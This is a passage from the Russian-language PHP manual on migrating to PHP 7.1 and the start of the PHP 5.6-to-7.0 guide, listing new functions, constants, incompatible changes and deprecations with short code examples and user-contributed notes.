string(16) "значение"

Асинхронная обработка сигналов

Новая функция pcntl_async_signals() была добавлена для разрешения асинхронной обработки сигналов без использования тиков (которые производят много накладных расходов).

<?php
pcntl_async_signals(true); // включает асинхронные сигналы

pcntl_signal(SIGHUP, function($sig) {
echo "SIGHUP\n";
});

posix_kill(posix_getpid(), SIGHUP);

Результат выполнения приведённого примера:

SIGHUP

Поддержка HTTP/2 server push в ext/curl

Поддержка "server push" добавлена в модуль CURL (требуется версия 7.46 и выше). Использовать можно в функции curl_multi_setopt() с новой константой CURLMOPT_PUSHFUNCTION. Также добавлены константы CURL_PUSH_OK и CURL_PUSH_DENY для определения, был ли принят или отклонён "server push".

Контекстные опции потока

Была добавлена опция контекста потока tcp_nodelay.

User Contributed Notes

DYM 09-Apr-2018 10:36
<?php
function swap( &$a, &$b ): void
  { [ $a, $b ] = [ $b, $a ]; }
?>
unti1x 06-Apr-2018 11:20
Note that declaring nullable return type does not mean that you can skip return statement at all. For example:

php > function a(): ?string { }
php > a();
PHP Warning:  Uncaught TypeError: Return value of a() must be of the type string or null, none returned in php shell code:2

php > function b(): ?string { return; }
PHP Fatal error:  A function with return type must return a value (did you mean "return null;" instead of "return;"?) in php shell code on line 2


Новые функции

Ядро PHP

  • sapi_windows_cp_get()
  • sapi_windows_cp_set()
  • sapi_windows_cp_conv()
  • sapi_windows_cp_is_utf8()

Замыкания

  • Closure::fromCallable()

CURL

  • curl_multi_errno()
  • curl_share_errno()
  • curl_share_strerror()

OpenSSL

  • openssl_get_curve_names()

Сессии

  • session_create_id()
  • session_gc()

SPL

  • is_iterable()

PCNTL

  • pcntl_async_signals()
  • pcntl_signal_get_handler()

User Contributed Notes

There are no user contributed notes for this page.


Новые глобальные константы

Предопределённые константы ядра PHP

  • PHP_FD_SETSIZE

CURL

  • CURLMOPT_PUSHFUNCTION
  • CURL_PUSH_OK
  • CURL_PUSH_DENY

Фильтрация данных

  • FILTER_FLAG_EMAIL_UNICODE

Обработка изображений и GD

  • IMAGETYPE_WEBP

JSON

  • JSON_UNESCAPED_LINE_TERMINATORS

LDAP

  • LDAP_OPT_X_SASL_NOCANON
  • LDAP_OPT_X_SASL_USERNAME
  • LDAP_OPT_X_TLS_CACERTDIR
  • LDAP_OPT_X_TLS_CACERTFILE
  • LDAP_OPT_X_TLS_CERTFILE
  • LDAP_OPT_X_TLS_CIPHER_SUITE
  • LDAP_OPT_X_TLS_KEYFILE
  • LDAP_OPT_X_TLS_RANDOM_FILE
  • LDAP_OPT_X_TLS_CRLCHECK
  • LDAP_OPT_X_TLS_CRL_NONE
  • LDAP_OPT_X_TLS_CRL_PEER
  • LDAP_OPT_X_TLS_CRL_ALL
  • LDAP_OPT_X_TLS_DHFILE
  • LDAP_OPT_X_TLS_CRLFILE
  • LDAP_OPT_X_TLS_PROTOCOL_MIN
  • LDAP_OPT_X_TLS_PROTOCOL_SSL2
  • LDAP_OPT_X_TLS_PROTOCOL_SSL3
  • LDAP_OPT_X_TLS_PROTOCOL_TLS1_0
  • LDAP_OPT_X_TLS_PROTOCOL_TLS1_1
  • LDAP_OPT_X_TLS_PROTOCOL_TLS1_2
  • LDAP_OPT_X_TLS_PACKAGE
  • LDAP_OPT_X_KEEPALIVE_IDLE
  • LDAP_OPT_X_KEEPALIVE_PROBES
  • LDAP_OPT_X_KEEPALIVE_INTERVAL

PostgreSQL

  • PGSQL_NOTICE_LAST
  • PGSQL_NOTICE_ALL
  • PGSQL_NOTICE_CLEAR

SPL

  • MT_RAND_PHP

User Contributed Notes

There are no user contributed notes for this page.


Изменения, ломающие обратную совместимость

Вызов исключения при передаче функции недостаточного количества аргументов

Раньше, если пользовательскую функцию вызывали с недостаточным количеством аргументов, выдавалось предупреждение. Теперь вместо предупреждения выбрасываться исключение Error. Это изменение затрагивает только пользовательские функции и не оказывает влияния на встроенные. Например:

<?php

function test($param){}
test();

?>

Вывод приведённого примера будет похож на:

Fatal error: Uncaught ArgumentCountError: Too few arguments to function test(), 0 passed in %s on line %d and exactly 1 expected in %s:%d

Запрет динамического вызова функций интроспекции области видимости

Динамические вызовы отдельных функций запретили (в виде $func() или array_map('extract', ...), и т. д.) Эти функции проверяют или модифицируют объекты другой области видимости, чем вызывают неоднозначное и неопределённое поведение. Список таких функций:

  • assert() — со строкой в качестве первого аргумента
  • compact()
  • extract()
  • func_get_args()
  • func_get_arg()
  • func_num_args()
  • get_defined_vars()
  • mb_parse_str() — с одним аргументом
  • parse_str() — с одним аргументом
<?php
(function () {
$func = 'func_num_args';
$func();
})();

Результат выполнения приведённого примера:

Warning: Cannot call func_num_args() dynamically in %s on line %d

Некорректные имена классов, интерфейсов и трейтов

Следующие имена нельзя использовать как имена классов, интерфейсов или трейтов:

  • void
  • iterable

Преобразование числовых строк теперь учитывает научную нотацию

Целочисленные операции и конвертации числовых строк теперь учитывают научную нотацию, включая приведение (int) и следующие функции: intval() (с базой 10), settype(), decbin(), decoct() и dechex().

Исправление алгоритма mt_rand()

mt_rand() теперь по умолчанию использует зафиксированную версию алгоритма "Вихрь Мерсена". Если вы полагались на детерминированный вывод mt_srand(), можно использовать константу MT_RAND_PHP в качестве второго, необязательного, параметра mt_srand() для сохранения старой (неправильной) реализации.

rand() псевдоним для mt_rand() и srand() псевдоним для mt_srand()

rand() и srand() теперь являются просто синонимами для mt_rand() и mt_srand(). Это означает, что вывод следующих функций изменился: rand(), shuffle(), str_shuffle() и array_rand().

Запрет использовать символ удаления из таблицы ASCII в идентификаторах

Символ удаления ASCII (0x7F) больше нельзя использовать в идентификаторах, не обёрнутых в кавычки.

Значение error_log изменено на syslog

Если ini-параметр error_log установлен как syslog, то уровни ошибок PHP проецируются на уровни ошибок "syslog". Это позволяет более тонко логировать события, а не как раньше, когда все они записывались с уровнем "notice".

Деструкторы не вызываются на незавершённых объектах

Теперь деструкторы никогда не вызываются, если было вызвано исключение в конструкторе объекта. Раньше это поведение зависело от того, была ли ссылка на объект вне конструктора (например, в трассировке исключения).

call_user_func() обрабатывает ссылки на аргументы

Теперь call_user_func() всегда вызывает предупреждение, если вызывается функция, ожидающая ссылки в качестве параметров. Ранее это зависело от того, был ли вызов полностью определённым.

Кроме того, call_user_func() и call_user_func_array() больше не прекращают выполнение функции в этом случае. Предупреждение "expected reference" будет вызвано, но сама функция продолжит выполнение.

Оператор пустого индекса более не применим к строкам

Применение оператора пустого индекса к строке ($str[] = $x) вызывает фатальную ошибку вместо тихого преобразования переменной к массиву.

Присвоение через механизм доступа к элементу строки по индексу применительно к пустой строке

Модификация символа в пустой строке теперь работает так же как и для не пустой. Т. е. запись по несуществующему смещению приведёт к преобразованию не целочисленного значения смещения к целому числу, дополнению строки до нужной длины символами пробела и использованию только первого символа из присваиваемой строки. Раньше, в такой ситуации, пустая строка рассматривалась как пустой массив.

<?php
$a = '';
$a[10] = 'foo';
var_dump($a);
?>

Результат выполнения приведённого примера в PHP 7.0:

array(1) {
  [10]=>
  string(3) "foo"
}

Результат выполнения приведённого примера в PHP 7.1:

string(11) "          f"

Удалённые ini-директивы

Следующие ini-директивы были удалены:

  • session.entropy_file
  • session.entropy_length
  • session.hash_function
  • session.hash_bits_per_character

Порядок массива, когда элементы созданы автоматически через присвоение по ссылке, был изменён

Порядок расположения элементов массива, создаваемых присвоением по ссылке не созданных на момент присвоения элементов, был изменён. К примеру:

<?php
$array = [];
$array["a"] =& $array["b"];
$array["b"] = 1;
var_dump($array);
?>

Результат выполнения приведённого примера в PHP 7.0:

array(2) {
  ["a"]=>
  &int(1)
  ["b"]=>
  &int(1)
}

Результат выполнения приведённого примера в PHP 7.1:

array(2) {
  ["b"]=>
  &int(1)
  ["a"]=>
  &int(1)
}

Порядок сортировки эквивалентных элементов

Внутренний алгоритм сортировки был улучшен, что может привести к отличию в порядке расположения эквивалентных элементов после сортировки по сравнению с предыдущими версиями PHP.

Замечание:

Не полагайтесь на порядок расположения эквивалентных элементов, так как он может в любой момент измениться.

Сообщения для ошибок E_RECOVERABLE

Сообщения для ошибок E_RECOVERABLE изменено с "Catchable fatal error" на "Recoverable fatal error".

Параметр $options функции unserialize()

Теперь элемент allowed_classes параметра $options функции unserialize() строго типизирован, то есть если передать значение с типом, отличным от array и bool, то unserialize() вернёт false и вызовет ошибку уровня E_WARNING.

Конструктор DateTime использует микросекунды

Теперь DateTime и DateTimeImmutable используют микросекунды при создании с текущим временем, либо в явном виде, либо со строкой относительного времени (например, "first day of next month"). Это означает, что сравнение двух подряд созданных экземпляров класса скорее будет возвращать false нежели true:

<?php
new DateTime() == new DateTime();
?>

Вызов исключений Error вместо фатальных ошибок

Для модуля Date при некорректных данных сериализации классов DateTime или DatePeriod, или ошибки инициализации часового пояса из сериализованных данных, будет выбрасываться исключение Error из методов __wakeup() или __set_state(), вместо вызова фатальной ошибки.

В модуле DBA функции манипулирования данными (такие как dba_insert()) теперь будут выбрасывать исключение Error вместо вызова отлавливаемой фатальной ошибки если ключ не содержит ровно двух элементов.

В модуле DOM некорректная проверка контекста схемы или RelaxNG теперь будут выбрасывать исключение Error вместо вызова фатальной ошибки. Аналогичным образом, попытки зарегистрировать класс узла, который не расширяет правильный базовый класс, попытки прочитать некорректное свойство или перезаписать свойство доступное только для чтения будут выбрасывать исключение Error.

В модуле IMAP адрес email длиннее 16385 байт теперь будет выбрасывать исключение Error вместо вызова фатальной ошибки.

Модуль Intl в случае возникновения ошибки вызова родительского конструктора в классе, наследующем Collator до вызова родительских методов теперь будет выбрасывать исключение Error вместо вызова фатальной ошибки. Кроме того, клонирование объекта Transliterator теперь будет выбрасывать исключение Error в случае возникновения ошибки клонирования внутреннего transliterator вместо вызова фатальной ошибки.

Модуль LDAP при указании неизвестного типа модификации в ldap_batch_modify() теперь будет выбрасывать исключение Error вместо вызова фатальной ошибки.

В модуле mbstring функции mb_ereg() и mb_eregi() теперь будут выбрасывать исключение ParseError в случае некорректного регулярного выражения либо в случае использования опции 'e'.

В модуле Mcrypt mcrypt_encrypt() и mcrypt_decrypt() теперь будет выбрасывать исключение Error вместо вызова фатальной ошибки, если mcrypt не инициализирован.

В модуле mysqli попытки прочитать некорректное свойство или перезаписать свойство доступное только для чтения будут выбрасывать исключение Error вместо вызова фатальной ошибки.

В модуле Reflection неудачное извлечение отражённого объекта или свойства объекта будут выбрасывать исключение Error вместо вызова фатальной ошибки.

В модуле сессий пользовательские обработчики сессии, которые не возвращают строку для идентификатора сессии, будут выбрасывать исключение Error вместо вызова фатальной ошибки, когда будет вызвана функция для генерации идентификатора.

В модуле SimpleXML попытка создания безымянного либо дублирующего атрибута будет выбрасывать исключение Error вместо вызова фатальной ошибки.

В модуле SPL попытка клонировать объект SplDirectory будет выбрасывать исключение Error вместо вызова фатальной ошибки. Аналогично, вызов ArrayIterator::append() когда итерация объекта закончена будет выбрасывать исключение Error.

Функция assert(), когда ей передан строковый аргумент первым параметром, теперь будет выбрасывать исключение ParseError вместо вызова отлавливаемой фатальной ошибки, если PHP-код некорректен. Аналогично, вызов forward_static_call() за пределами пространства класса будет выбрасывать исключение Error.

В модуле Tidy ручное создание tidyNode будет выбрасывать исключение Error.

В модуле WDDX циклические ссылки при сериализации будут выбрасывать исключение Error вместо вызова фатальной ошибки.

В модуле XML-RPC циклические ссылки при сериализации будут выбрасывать исключение Error вместо вызова фатальной ошибки.

В модуле Zip метод ZipArchive::addGlob() будет выбрасывать исключение Error вместо вызова фатальной ошибки, если отсутствует поддержка glob.

Лексически связанные переменные не могут переиспользовать имена

Переменные, привязанные к замыканию через конструкцию use, не могут использовать те же имена, что и любые superglobals, $this или параметры. К примеру, все приведённые функции вызовут фатальную ошибку:

<?php
$f = function () use ($_SERVER) {};
$f = function () use ($this) {};
$f = function ($param) use ($param) {};

Изменён тип параметра long2ip()

Теперь long2ip() ожидает параметр типа int а не string.

Кодирование и декодирование JSON

INI-настройка serialize_precision определяет точность сериализации при кодировании значений типа float.

Теперь декодирование пустого ключа приводит к появлению свойства с пустым именем, раньше имя свойства приводилось к значению _empty_.

<?php
var_dump(json_decode(json_encode(['' => 1])));

Вывод приведённого примера будет похож на:

object(stdClass)#1 (1) {
  [""]=>
  int(1)
}

При передаче флага JSON_UNESCAPED_UNICODE в функцию json_encode() последовательности U+2028 и U+2029 будут экранированы.

Изменение в семантике параметров mb_ereg() и mb_eregi()

Третий параметр функций mb_ereg() и mb_eregi() (regs) теперь устанавливается равным пустому массиву, если не было найдено совпадений. Ранее параметр оставался неизменным.

Удалена поддержка потока sslv2

Поддержка потока sslv2 в OpenSSL удалена.

Запрещён "return;" для типизированных возвратов уже во время компиляции

Операторы возврата без аргументов в функциях, которые объявляют тип возвращаемого значения, теперь вызывают E_COMPILE_ERROR (если тип возврата не объявлен как void), даже если оператор возврата никогда не будет достигнут.

User Contributed Notes

david at artefactual dot com 04-Apr-2019 05:29
Regarding the ArgumentCountError, PHP 7.1+ does still support user functions with a variable number of arguments, using the "func(...$args) {}" syntax, see: https://www.php.net/manual/en/functions.arguments.php#functions.variable-arg-list
mikem at gmail dot com 21-Nov-2017 12:09
ArgumentCountError - this modification is the main reason to avoid this version on older projects.
kees at twekaers dot net 21-Mar-2017 11:49
The backwards incompatible change 'The empty index operator is not supported for strings anymore' has a lot more implications than just a fatal error on the following code

<?php
$a = "";
$a[] = "hello world";
var_dump($a);
?>

This will give a fatal error in 7.1 but will work as expected in 7.0 or below and give you: (no notice, no warning)

array(1) {
  [0]=>
  string(11) "hello world"
}

However, the following is also changed:

<?php
$a = "";
$a[0] = "hello world";
var_dump($a);
// 7.1: string(1) "h"
// pre-7.1: array(1) {  [0]=>  string(11) "hello world" }

$a = "";
$a[5] = "hello world";
var_dump($a);
// 7.1: string(6) "     h"
// pre-7.1: array(1) {  [0]=>  string(11) "hello world" }

?>
m dot r dot sopacua at gmail dot com 30-Dec-2016 03:49
"OMFG! Why was session.hash_function removed?!? Dude!"

https://wiki.php.net/rfc/session-id-without-hashing

There. Saved ya a search.
love at sickpeople dot se 24-Nov-2016 07:59
For anyone migrating from 5.x to 7.1:

About "Array ordering when elements are automatically created during by reference assignments has changed" on this page

(http://php.net/manual/en/migration71.incompatible.php#migration71.incompatible.array-order)

The behaviour of 7.1 is THE SAME as of PHP 5. It is only 7.0 that differs.

See https://3v4l.org/frbUc

<?php

$array = [];
$array["a"] =& $array["b"];
$array["b"] = 1;
var_dump($array);


Функционал, объявленный устаревшим в PHP 7.1.x

ext/mcrypt

Модуль mcrypt не развивался уже почти десять лет, а также был крайне сложным в использовании. Он был объявлен устаревшим в пользу OpenSSL. Он будет удалён из ядра PHP и перемещён в PECL в PHP 7.2.

Модификатор "e" для функций mb_ereg_replace() и mb_eregi_replace()

Модификатор шаблона e был объявлен устаревшим для функций mb_ereg_replace() и mb_eregi_replace().

User Contributed Notes

There are no user contributed notes for this page.


Изменённые функции

Ядро PHP

  • getopt() имеет третий, необязательный, параметр, в который записывается индекс, на котором остановилась обработка. Переменная в этот параметр передаётся по ссылке.
  • В getenv() больше не обязательно передавать параметр. Если параметр не задан, то возвращаются все текущие переменные окружения в виде ассоциативного массива.
  • get_headers() теперь имеет дополнительный параметр для разрешения передачи определённого пользователем потокового контекста.
  • output_reset_rewrite_vars() больше не сбрасывает сессионные переменные перезаписи URL.
  • parse_url() теперь более требовательна и поддерживает RFC3986.
  • unpack() теперь имеет третий необязательный параметр для определения смещения с которого начинать распаковку.

Файловая система

  • file_get_contents() теперь принимает отрицательные значения смещения начала поиска, если поток поддерживает смещения.
  • tempnam() теперь выдаёт уведомление при возврате в системный временный каталог.

JSON

  • json_encode() теперь принимает новую опцию, JSON_UNESCAPED_LINE_TERMINATORS, для запрещения экранирования символов U+2028 и U+2029 когда передаётся JSON_UNESCAPED_UNICODE.

Многобайтовые строки

  • mb_ereg() теперь отклоняет некорректные последовательности байтов.
  • mb_ereg_replace() теперь отклоняет некорректные последовательности байтов.

PDO

  • PDO::lastInsertId() для PostgreSQL теперь порождает ошибку, если в текущей сессии (соединении) не вызван nextval.

PostgreSQL

  • pg_last_notice() теперь принимает необязательный параметр, задающий операцию. Используется одна из следующих констант: PGSQL_NOTICE_LAST, PGSQL_NOTICE_ALL или PGSQL_NOTICE_CLEAR.
  • pg_fetch_all() теперь принимает второй, необязательный, параметр для задания типа результата (аналогично третьему параметру pg_fetch_array()).
  • pg_select() теперь принимает четвёртый, необязательный, параметр для задания типа результата (аналогично третьему параметру pg_fetch_array()).

Сессии

  • session_start() теперь возвращает false и больше не инициализирует $_SESSION, когда она не смогла запустить сессию.

User Contributed Notes

There are no user contributed notes for this page.


Прочие изменения

Замечания и предупреждения при выполнении арифметических операций с некорректными строками

Новые ошибки уровней E_WARNING и E_NOTICE были добавлены при использовании некорректных строк с операторами, ожидающими числа (+ - * / ** % << >> | & ^) и их эквивалентами с присваиванием. Ошибка уровня E_NOTICE выдаётся, когда строка начинается с цифр, но далее содержит не цифровые символы, и ошибка уровня E_WARNING выдаётся тогда, когда строка вообще не содержит цифр.

<?php
'1b' + 'что-то';

Результат выполнения приведённого примера:

Notice: A non well formed numeric value encountered in %s on line %d
Warning: A non-numeric value encountered in %s on line %d

Предупреждение при переполнении экранированной восьмеричной последовательности

Ранее 3-октетная восьмеричная строка переполнялась никому ничего не сообщая. Теперь при переполнении будет вызвана ошибка уровня E_WARNING.

<?php
var_dump("\500");

Результат выполнения приведённого примера:

Warning: Octal escape sequence overflow \500 is greater than \377 in %s on line %d
string(1) "@"

Исправлена несогласованность $this

В то время как $this считается специальной переменной в PHP, ей не хватало специальных проверок, что её не используют в качестве переменной и не переопределили. Теперь использовать $this в качестве пользовательской переменной запрещено. Также запрещено присваивать ей значение и использовать в глобальном пространстве имён.

Генерация идентификаторов сессий без хеширования

Идентификаторы сессий больше не хешируются во время создания. Вместе с этим удалены следующие четыре параметра из ini-файла:

  • session.entropy_file
  • session.entropy_length
  • session.hash_function
  • session.hash_bits_per_character

И добавлены два других:

  • session.sid_length - определяет длину идентификатора сессии. По умолчанию используется 32 символа для обеспечения обратной совместимости.
  • session.sid_bits_per_character - определяет количество бит на каждый символ идентификатора (то есть можно увеличить количество доступных для использования в идентификаторе символов). Для обратной совместимости по умолчанию используется 4 бита.

Изменения в обработке INI-файлов

precision

Если установлено в -1, то будет использован режим dtoa. Значение по умолчанию 14.

serialize_precision

Если установлено в -1, то будет использован режим dtoa. Теперь значение по умолчанию -1.

gd.jpeg_ignore_warning

Значение по умолчанию для этой настройки php.ini изменено на 1, так что, по умолчанию, предупреждения libjpeg будут игнорироваться.

opcache.enable_cli

В PHP 7.1.2 значение по умолчанию для этой настройки php.ini изменено на 1 (включено), а в PHP 7.1.7 возвращено значение 0 (выключено)

Генерация идентификаторов сессий только с помощью CSPRNG

Идентификаторы сессий теперь создаются только с помощью CSPRNG.

Более информативное сообщение TypeError, если допустим null

Теперь исключение TypeError для проверок типа arg_info предоставляет более информативное сообщение об ошибке. Если тип параметра или возвращаемое значение может быть null (либо имеет значение null по умолчанию или имеет обнуляемый тип), то теперь в сообщении будет упомянуто "must be ... or null" или "must ... or be null."

User Contributed Notes

Ta7To7 27-Feb-2018 05:47
Note that using Incrementing/Decrementing operators on string is legal
<?php
$str = "";
echo ++$str; // output: 1
?>


Поддержка Windows

Поддержка длинных и UTF-8 путей

Если веб-приложение работает с UTF-8, то никаких дополнительных действий не требуется. Для приложений осуществляющих ввод/вывод по путям, заданных в кодировке отличной от UTF-8, необходимо явно задать значения в INI-файле. Проверка кодировок осуществляется в следующем порядке:

  • internal_encoding
  • default_charset
  • zend.multibyte

Было введено несколько функций для обработки кодовых страниц:

  • sapi_windows_cp_set() для установки кодировки по умолчанию
  • sapi_windows_cp_get() для получения текущей кодировки
  • sapi_windows_cp_is_utf8()
  • sapi_windows_cp_conv() для конвертации между кодировками с использованием сигнатур аналогичным iconv()

Эти функции потокобезопасны.

Кодовая страница, используемая для вывода в консоли настраивается в зависимости от кодировки, используемой в PHP. В зависимости от конкретной системной OEM-кодировки, видимый результат может быть корректным или нет. Например, в стандартной консоли cmd.exe в системах с кодировкой 437 OEM-вывод в кодировках 1251, 1252, 1253 и некоторых других может отображаться правильно при использовании UTF-8. В тех же самых системах символы в кодировке типа 20932 будут показаны некорректно. Это относится к конкретным системным правилам для кодовой страницы, совместимости шрифтов и конкретной используемой консоли. PHP автоматически устанавливает кодовую страницу консоли в соответствии с правилами кодирования из php.ini. В некоторых случаях использование консоли отличной от стандартной cmd.exe может улучшить ситуацию.

Не забывайте, что переключение кодовой страницы во время исполнения после запуска скрипта может привести к неожиданным побочным эффектам в CLI. Лучший вариант - использовать php.ini. При использовании PHP CLI в эмуляторе консоли, который не поддерживает Unicode, это может потребоваться во избежание изменения кодировки консоли. Лучший вариант - установить кодировку по умолчанию или внутреннюю кодировку как ANSI. Также можно установить директивы output_encoding и input_encoding в требуемые значения, но следует помнить, что при отличии внутренней кодировки и кодировки вводы/вывода вы, скорее всего, получите кракозябры. В редких случаях при падении PHP, кодировка консоли может не восстанавливаться в изначальное значение. В таком случае восстановите её самостоятельно с помощью команды chcp.

Особое замечание для систем DBCS - переключение кодировки во время исполнения с помощью ini_set() может вызвать проблемы с отображением. Разница с системами без DBCS заключается в том, что расширенные символы требуют двух ячеек консоли для отображения. В некоторых случаях может произойти только отображение символов в глифы текущего шрифта, без его смены. Это в характере систем DBCS. Самый простой способ избежать проблем с отображением - отказаться от использования ini_set() для изменения кодовой страницы.

В результате поддержки UTF-8 в потоках, скрипты PHP больше не ограничены кодировками ASCII и ANSI для имён файлов. Такая поддержка доступна из коробки CLI. Для других SAPI следует изучить соответствующую документацию.

Длинные пути поддерживаются прозрачно. Пути длиннее 260 байт автоматически дополняются префиксом \\?\. Максимальная длина пути ограничена 2048 байтами. Имейте в виду, что ограничения на длину сегмента пути (длину базового имени) по-прежнему сохраняются.

Для лучшей переносимости настоятельно рекомендуется обрабатывать имена файлов, ввод/вывод и прочие, связанные с UTF-8 сущности. Кроме того, для консольных приложений рекомендуется использовать шрифты TrueType и не рекомендуется менять кодировку с помощью ini_set().

readline

Модуль readline поддерживается через библиотеку » WinEditLine. Таким образом интерфейс оболочки CLI также поддерживается (php.exe -a).

PHP_FCGI_CHILDREN

Теперь принимается во внимание PHP_FCGI_CHILDREN. Если задана эта переменная окружения, то первый процесс php-cgi.exe породит указанное количество потомков, которые будут разделять те же TCP-сокеты.

ftok()

Добавлена поддержка для ftok()

User Contributed Notes

There are no user contributed notes for this page.


Миграция с PHP 5.6.x на PHP 7.0.x

Содержание

  • Изменения, ломающие обратную совместимость
  • Новая функциональность
  • Функциональность, объявленная устаревшей в PHP 7.0.x
  • Изменённые функции
  • Новые функции
  • Новые классы и интерфейсы
  • Новые глобальные константы
  • Изменения в модулях SAPI
  • Удалённые модули и SAPI
  • Другие изменения

Несмотря на то что PHP 7.0 — новая основная версия, были предприняты усилия, чтобы сделать миграцию максимально безболезненной. Этот релиз в основном ориентирован на удаление функциональных возможностей, которые объявили устаревшими в предыдущих версиях, и улучшения согласованности языка.

Требуется учесть несовместимости и новую функциональность, и протестировать код перед переключением версий PHP в производственных окружениях.

User Contributed Notes

There are no user contributed notes for this page.


Изменения, ломающие обратную совместимость

Изменения в обработке ошибок и исключений

Многие фатальные и поправимые фатальные ошибки были переделаны в исключения в PHP 7. Эти исключения наследуют класс Error, который, в свою очередь, реализует интерфейс Throwable (новый базовый интерфейс, который наследуют все исключения).

Это означает, пользовательские обработчики ошибок могут не быть вызваны, потому что вместо вызова ошибки, будет выброшено исключение (порождая новые фатальные ошибки из-за неперехваченных исключений класса Error).

Более подробное описание того, как ошибки работают в PHP 7, можно найти на странице ошибки PHP 7. Это руководство всего лишь перечисляет изменения, которые могут привести к обратной несовместимости.

set_exception_handler() больше не гарантирует получение объекта класса Exception

Код, реализующий регистрацию обработчика исключений с помощью set_exception_handler(), используя декларацию типа Exception, вызовет фатальную ошибку, если будет выброшено исключение Error.

Если требуется работа обработчика в PHP 5 и 7, вы должны убрать объявление класса из обработчика. Если код предполагается использовать только в PHP 7, то можно просто поменять тип с Exception на Throwable.

<?php
// Только PHP 5. В PHP 7 может вызвать фатальную ошибку.
function handler(Exception $e) { ... }
set_exception_handler('handler');

// Будет работать PHP 5 и 7.
function handler($e) { ... }

// Только PHP 7.
function handler(Throwable $e) { ... }
?>

Встроенные конструкторы всегда вызывают исключения в случае неудачи

Ранее некоторые внутренние классы возвращали null или бесполезный объект, когда конструктор терпел неудачу. Все встроенные классы теперь в таком случае будут выбрасывать исключение Exception, ровно как это уже делают пользовательские классы.

Ошибки разбора бросают исключение класса ParseError

Ошибки разбора бросают исключение класса ParseError. Обработка ошибок eval() должна включать в себя блок catch, который будет ловить эту ошибку.

Изменение строгости уведомлений E_STRICT

Все сообщения E_STRICT переквалифицированы по другим уровням. Константа E_STRICT сохранена, так что error_reporting(E_ALL|E_STRICT) не вызовет ошибки.

Изменение строгости сообщений E_STRICT
Ситуация | Новый уровень/поведение
Индексирование ресурсом | E_NOTICE
Абстрактные статические методы | Сообщение убрано, не вызывает ошибки
"Переопределение" конструктора | Сообщение убрано, не вызывает ошибки
Несоблюдение сигнатуры при наследовании | E_WARNING
Одинаковые (совместимые) свойства в двух разных трейтах | Сообщение убрано, не вызывает ошибки
Нестатический доступ к статическому свойству | E_NOTICE
Только переменные могут быть присвоены по ссылке | E_NOTICE
Только переменные могут быть переданы по ссылке | E_NOTICE
Вызов нестатического метода статически | E_DEPRECATED

Изменения в обработке переменных

PHP 7 использует абстрактное синтаксическое дерево при разборе файлов с исходным кодом. Это позволило внести множество улучшений в язык, которые ранее были невозможны из-за ограничений парсера, использовавшегося в предыдущих версиях PHP, но привело к удалению некоторых особых возможностей по соображениям согласованности и нарушило обратную совместимость. Описание этих особых случаев приведено в этой секции.

Изменения в обработке непрямых переменных, свойств и методов

Непрямой доступ к переменным, свойствам и методам теперь раскрывается строго слева-направо, в противовес предыдущему сочетанию из специальных правил. В таблице представлены изменения в порядке раскрытия.

Старая и новая оценка непрямых выражений
Выражение | Интерпретация PHP 5 | Интерпретация PHP 7
$$foo['bar']['baz'] | ${$foo['bar']['baz']} | ($$foo)['bar']['baz']
$foo->$bar['baz'] | $foo->{$bar['baz']} | ($foo->$bar)['baz']
$foo->$bar['baz']() | $foo->{$bar['baz']}() | ($foo->$bar)['baz']()
Foo::$bar['baz']() | Foo::{$bar['baz']}() | (Foo::$bar)['baz']()

Код, использующий старый порядок раскрытия справа-налево, должен быть переписан с использованием фигурных скобок (смотрите средний столбец в таблице выше). Это сделает код рабочим как в PHP 5.x, так и в PHP 7.x.

Также это относится и к ключевому слову global. Для эмуляции старого поведения необходимо использовать фигурные скобки:

<?php
function f() {
// Корректно только в PHP 5.
global $$foo->bar;

// Корректно в PHP 5 и 7.
global ${$foo->bar};
}
?>

Изменение в обработке list()

list() больше не присваивает переменные в обратном порядке

Теперь list() присваивает переменные в том порядке, как они перечислены, а не в обратном. В целом, это влияет только на случаи, когда list() используется совместно с оператором массива [], как показано ниже:

<?php
list($a[], $a[], $a[]) = [1, 2, 3];
var_dump($a);
?>

Результат выполнения приведённого примера в PHP 5:

array(3) {
  [0]=>
  int(3)
  [1]=>
  int(2)
  [2]=>
  int(1)
}

Результат выполнения приведённого примера в PHP 7:

array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

Также хочется отметить, что полагаться на порядок присвоения оператором list() - не самое разумное решение, поскольку он снова может поменяться в будущем.

Пустое присвоение list() больше не разрешено

Конструкция list() больше не может быть пустой. Следующие примеры недопустимы:

<?php
list() = $a;
list(,,) = $a;
list($x, list(), $y) = $a;
?>
list() не может раскрывать строки

list() более не может раскрывать строки. Используйте str_split().

Изменён порядок массива при автоматическом создании через присвоение по ссылке

Порядок создания элементов в массиве был изменён, когда элемент создаётся путём присвоения значения переменной, на которую ссылается этот элемент. Пример:

<?php
$array = [];
$array["a"] =& $array["b"];
$array["b"] = 1;
var_dump($array);
?>

Результат выполнения приведённого примера в PHP 5:

array(2) {
  ["b"]=>
  &int(1)
  ["a"]=>
  &int(1)
}

Результат выполнения приведённого примера в PHP 7:

array(2) {
  ["a"]=>
  &int(1)
  ["b"]=>
  &int(1)
}

Скобки вокруг аргументов функции больше ни на что не влияют

В PHP 5 при использовании избыточных скобок вокруг аргументов функции не выводилось предупреждение, когда аргумент передавался по ссылке. Теперь предупреждение выводится всегда.

<?php
function getArray() {
return [1, 2, 3];
}

function squareArray(array &$a) {
foreach ($a as &$v) {
$v **= 2;
}
}

// Выведет предупреждение в PHP 7.
squareArray((getArray()));
?>

Результат выполнения приведённого примера:

Notice: Only variables should be passed by reference in /tmp/test.php on line 13

Изменения foreach

Небольшие изменения были внесены в поведение управляющей структуры foreach. Основное изменение касается модификации итерируемого массива и обработки его внутреннего указателя.

foreach больше не изменяет внутренний указатель массива

До PHP 7 в процессе итерации массива в foreach, его внутренний указатель изменялся. В примере ниже показано, что это поведение изменено:

<?php
$array = [0, 1, 2];
foreach ($array as &$val) {
var_dump(current($array));
}
?>

Результат выполнения приведённого примера в PHP 5:

int(1)
int(2)
bool(false)

Результат выполнения приведённого примера в PHP 7:

int(0)
int(0)
int(0)

foreach по значениям оперирует копией массива

Если foreach используется для стандартного перебора по значению, то он оперирует копией массива, а не самим массивом. Это значит, что изменения внесённые в массив внутри цикла не затронут перебираемые значения.

Для foreach по ссылке улучшили поведение при итерации

Когда foreach используется для перебора по ссылке, он будет лучше отслеживать изменения, вносимые в массив в процессе итерации. К примеру, добавление элементов к итерируемому массиву приведёт к тому, что эти новые элементы попадут в перебор:

<?php
$array = [0];
foreach ($array as &$val) {
var_dump($val);
$array[1] = 1;
}
?>

Результат выполнения приведённого примера в PHP 5:

int(0)

